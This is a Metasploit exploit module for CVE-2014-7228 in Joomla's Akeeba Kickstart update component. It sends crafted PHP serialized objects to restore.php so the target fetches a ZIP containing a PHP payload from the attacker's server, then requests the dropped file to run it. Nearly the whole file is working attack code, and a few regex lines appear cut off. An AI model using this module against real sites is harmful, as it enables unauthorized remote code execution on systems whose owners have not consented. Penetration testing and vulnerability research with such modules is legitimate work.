require 'msf/core'
require 'rex/zip'
require 'json'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",
'Description'=> %q{
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
component, which is responsible for Joomla! updates. Nevertheless it is worth to note
that this vulnerability is only exploitable during the update of the Joomla! CMS.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Johannes Dahse',
'us3r777 <us3r777[at]n0b0.so>'
],
'References' =>
[
[ 'CVE', '2014-7228' ],
[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],
[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],
[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets'=>
[
[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Privileged' => false,
'DisclosureDate' => "Sep 29 2014",
'DefaultTarget'=> 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
OptInt.new('HTTPDELAY',[false, 'Seconds to wait before terminating web server', 5])
], self.class)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')
)
if res && res.code == 200
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def primer
srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"
php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'
php_filename = rand_text_alpha(8 + rand(8)) + '.php'
print_status("Creating archive with file #{php_filename}")
zip_file = Rex::Zip::Archive.new
zip_file.add_file(php_filename, payload.encoded)
@zip = zip_file.pack
print_status("#{peer} - Sending PHP serialized object...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
'vars_get'=> {
'task'=> 'stepRestore',
'factory' => Rex::Text.encode_base64(php_serialized_akfactory)
}
})
unless res && res.code == 200 && res.body && res.body =~ /^
print_status("#{res.code}\n#{res.body}")
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
end
json = /
begin
b64encoded_prepared_factory = JSON.parse(json)['factory']
rescue JSON::ParserError
fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
end
prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
print_status("#{peer} - Sending initialized and modified AKFactory...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),
'vars_get'=> {
'task'=> 'stepRestore',
'factory' => Rex::Text.encode_base64(modified_factory)
}
})
unless res && res.code == 200 && res.body && res.body =~ /^
fail_with(Failure::Unknown, "#{peer} - Unexpected response")
end
register_files_for_cleanup(php_filename)
print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)
}, 2)
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
end
def on_request_uri(cli, request)
if @zip && request.uri =~ /\.zip$/
print_status("Sending the ZIP archive...")
send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
return
end
print_status("Sending not found...")
send_not_found(cli)
end
end